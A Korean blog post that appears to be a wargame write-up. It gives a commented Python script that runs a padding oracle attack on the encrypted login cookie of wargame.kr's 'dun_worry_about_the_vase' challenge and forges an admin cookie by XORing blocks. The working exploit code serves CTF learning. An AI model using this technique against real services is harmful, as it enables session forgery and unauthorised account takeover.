문서들의 출처는 아래에 다 적어놨으나,
제작자님이 여기에 게시되길 원하지 않으시면 바로 삭제하겠습니다.
1. 관련 문서 (문서 내부에 출처가 있습니다. laughfool님.)
Padding_Oracle_Attack_by_laughfool.pdf
2. 코드게이트 2012 외국팀 More Smoked Leet Chicken 의 풀이 보고서.
http://mslc.ctf.su/wp/codegate-2012-quals-vuln-400/
3. 연습 사이트
http://x.ozetta.net/example.php
1)
코딩.
# -*- encoding: cp949 -*- import urllib2, re from base64 import b64encode session = 로그인 유지용 세션값. 본인이 알아서 바꿀 것. def get_result(a, b): c = urllib2.quote(b64encode(a)+b64encode(b)) req = urllib2.Request('http://wargame.kr:8080/dun_worry_about_the_vase/main.php') req.add_header('cookie','L0g1n='+c+'; ci_session='+session) return urllib2.urlopen(req).read() req = urllib2.Request('http://wargame.kr:8080/dun_worry_about_the_vase/login_ok.php','id=guest&ps=guest') #로그인 요청을 보내서 req.add_header('Cookie','ci_session='+session) #로그인 유지 정보 추가 cookie = urllib2.unquote(re.findall('L0g1n=(.*)',urllib2.urlopen(req).headers.get('Set-cookie'))[0]) #쿠키값중에서 L0g1n쿠키값을 가져와서 url 디코딩을 해준 값을 cookie변수에 저장한다. index = cookie.find('=') #=를 경계로 쿠키가 나뉜다. GjJN+ODqVRo=8915ZJQFU3E= 이런식의 쿠키면 GjJN+ODqVRo=와 8915ZJQFU3E=로 나뉜다. 오라클 패딩 어택의 기본. cookie1 = cookie[:index+1]; cookie2 = cookie[index+1:] #cookie1에는 앞부분을, cookie2에는 뒷부분을 저장한다. 뭔지 모르겠으면 print로 출력해보자. cookie1 = ''.join(map(lambda x:hex(ord(x))[2:].zfill(2),cookie1.decode('base64'))) #쿠키 앞부분을 base64로 디코딩 후 해당 base64디코딩된 값을 하나하나 #ord로 아스키코드로 변경 후 hex()로 16진수로 변경한다. [2:]는 hex시의 0x를 없애기 위한 것이다. 그리고 0xa같이 한자리인 경우 그냥 a만 나오므로, 두자리로 맞춰주기 위해 .zfill함수로 2자리로 맞춰준다. #그다음에 ''.join으로 다 연결해준다. cookie2 = ''.join(map(lambda x:hex(ord(x))[2:].zfill(2),cookie2.decode('base64'))) #쿠키 뒷부분을 위와 마찬가지의 작업을 한다. alpha = "\x01\x02\x03\x04\x05\x06\x07\x08abcdefghijklmnopqrstuvwxyz" #위에 링크 건 More Smoked Leet Chicken 팀의 코드를 그대로 가져왔다. #아래 코드는 오라클 패딩 어택의 xor규칙을 잘 살펴보면 알 수 있다. 문서가 있으므로 설명은 따로 안씀. vals = [] key = "" for j in xrange(8): for i in map(ord, alpha): a = cookie1.decode("hex") b = cookie2.decode("hex") a = map(ord, a) b = map(ord, b) for k in xrange(7, -1, -1): a[k] ^= j + 1 if 7-k >= len(vals): continue a[k] ^= vals[7-k] a[7-len(vals)] ^= i a = "".join(map(chr, a)) b = "".join(map(chr, b)) res = get_result(a, b) if "padding error" not in res: vals.append(i) key = chr(i) + key print "Got byte:", key break #키값으로 guest\x3\x3\x3이 나온다. 이 말은 8개를 기준으로 저장하며, id가 guest일시 이것을 8자리에 맞춰서 guest\x3\x3\x3처럼 저장한다는것을 의미한다. #끝의 \x3은 남은 자리를 의미한다. 3자리가 남았으므로 3자리를 \x3으로 채워준다. 이렇게 8자리를 맞춰준다. answer = hex(0x76887ce90d5210dc ^ 0x61646d696e030303 ^ 0x6775657374030303) #쿠키의 =앞부분 ^ admin\x3\x3\x3의 16진수값 ^ guest\x3\x3\x3의 16진수값 answer = urllib2.quote('709974f3175210dc'.decode('hex').encode('base64')).replace('%0A','') #파이썬 코딩 특성상 마지막에 %0A줄내림이 들어가므로 지워줌. answer += urllib2.quote('505a52ef5da84b72'.decode('hex').encode('base64')).replace('%0A','') req = urllib2.Request('http://wargame.kr:8080/dun_worry_about_the_vase/main.php') req.add_header('Cookie','L0g1n='+answer+'; ci_session='+session) #바뀐 쿠키값으로 재로그인 print urllib2.urlopen(req).read()
'webhacking > etc' 카테고리의 다른 글
xcz.kr 33번 (2) | 2015.03.30 |
---|---|
chall.tasteless.eu Goldjunge, adm1nkyj님의 워게임. prob7 (기본적인 난수 예측) (0) | 2015.03.23 |
chall.tasteless.eu Sjukdom (0) | 2015.03.20 |
php wrapper, LFI, chall.tasteless.se Double Agent, wechall RFI (1) | 2015.03.16 |
webhacking.kr 47, 48 (0) | 2015.03.14 |